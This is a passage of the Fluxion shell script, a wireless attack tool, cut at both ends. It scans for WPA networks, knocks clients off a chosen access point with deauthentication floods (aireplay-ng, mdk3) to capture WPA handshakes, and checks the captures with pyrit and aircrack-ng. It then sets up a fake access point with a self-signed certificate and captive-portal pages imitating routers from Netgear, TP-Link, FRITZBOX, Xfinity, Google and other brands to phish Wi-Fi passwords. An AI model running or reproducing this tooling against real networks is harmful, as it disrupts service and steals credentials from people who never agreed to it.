{ FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER 